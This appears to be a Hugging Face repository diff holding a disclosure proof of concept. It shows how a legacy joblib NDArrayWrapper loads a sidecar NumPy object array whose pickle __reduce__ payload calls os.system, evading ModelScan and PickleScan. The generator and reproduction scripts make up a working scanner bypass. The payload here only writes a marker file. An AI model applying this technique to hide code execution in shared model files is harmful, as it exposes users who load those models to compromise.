Upload folder using huggingface_hub

README.md

@@ -0,0 +1,56 @@
+# Joblib NDArrayWrapper Sidecar Scanner Bypass PoC
+
+Security research PoC for responsible disclosure through Huntr's Model File Vulnerability program.
+
+This repository demonstrates a scanner-bypass pattern for `.joblib` artifacts:
+
+- `model.joblib` contains a legacy `joblib.numpy_pickle_compat.NDArrayWrapper`.
+- The wrapper references `weights.weights`.
+- `weights.weights` is a valid NumPy object-array file with an unsupported extension.
+- `joblib.load("model.joblib")` resolves and loads the sidecar with `allow_pickle=True`.
+- ModelScan and PickleScan do not follow the sidecar reference and report no dangerous payload.
+
+The payload is benign. Loading the model writes a marker file at `/tmp/joblib_mfv_marker.txt`.
+
+## Tested Versions
+
+- Python `3.12.13`
+- `joblib==1.5.3`
+- `modelscan==0.8.8`
+- `picklescan==1.0.4`
+- `numpy==2.4.5`
+
+## Reproduce
+
+```bash
+python -m venv .venv
+. .venv/bin/activate
+pip install -r requirements.txt
+
+rm -f /tmp/joblib_mfv_marker.txt
+python reproduce.py
+test -f /tmp/joblib_mfv_marker.txt && echo "marker created"
+```
+
+## Scanner Checks
+
+```bash
+modelscan -p . -r json --show-skipped
+picklescan -p . -g
+```
+
+Expected scanner behavior:
+
+- ModelScan scans `model.joblib`, skips `weights.weights` as unsupported, and reports `0` issues.
+- PickleScan reports `0` infected files and `0` dangerous globals for this artifact.
+
+Expected load behavior:
+
+- `joblib.load("model.joblib")` creates `/tmp/joblib_mfv_marker.txt`.
+
+## Why This Matters
+
+The dangerous pickle stream is not stored in the main `.joblib` file. It is stored in a sidecar file whose filename is controlled by the legacy Joblib wrapper. Scanners that only inspect the wrapper stream, or only scan NumPy files by extension, miss the payload that Joblib later loads.
+
+This is distinct from generic pickle/joblib deserialization and from already-public compressed-joblib or inline NumPy object-array bypasses.
+

generate_poc.py

@@ -0,0 +1,27 @@
+import os
+import pickle
+from pathlib import Path
+
+import numpy as np
+from joblib.numpy_pickle_compat import NDArrayWrapper
+
+
+class MarkerPayload:
+    def __reduce__(self):
+        return os.system, ("printf joblib_mfv_marker > /tmp/joblib_mfv_marker.txt",)
+
+
+def main() -> None:
+    base = Path(__file__).resolve().parent
+    sidecar = base / "weights.weights"
+    with sidecar.open("wb") as f:
+        np.save(f, np.array([MarkerPayload()], dtype=object), allow_pickle=True)
+
+    model = base / "model.joblib"
+    with model.open("wb") as f:
+        pickle.dump(NDArrayWrapper("weights.weights", np.ndarray), f, protocol=4)
+
+
+if __name__ == "__main__":
+    main()
+

model.joblib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:a17382807dc2690254da5cb5e40aa428f68909429dba3d250f50ec138a873f89
+size 142

reproduce.py

@@ -0,0 +1,20 @@
+from pathlib import Path
+
+import joblib
+
+
+MARKER = Path("/tmp/joblib_mfv_marker.txt")
+
+
+def main() -> None:
+    if MARKER.exists():
+        MARKER.unlink()
+
+    obj = joblib.load("model.joblib")
+    print(f"loaded type: {type(obj).__name__}")
+    print(f"marker exists: {MARKER.exists()}")
+
+
+if __name__ == "__main__":
+    main()
+

requirements.txt

@@ -0,0 +1,5 @@
+joblib==1.5.3
+modelscan==0.8.8
+picklescan==1.0.4
+numpy==2.4.5
+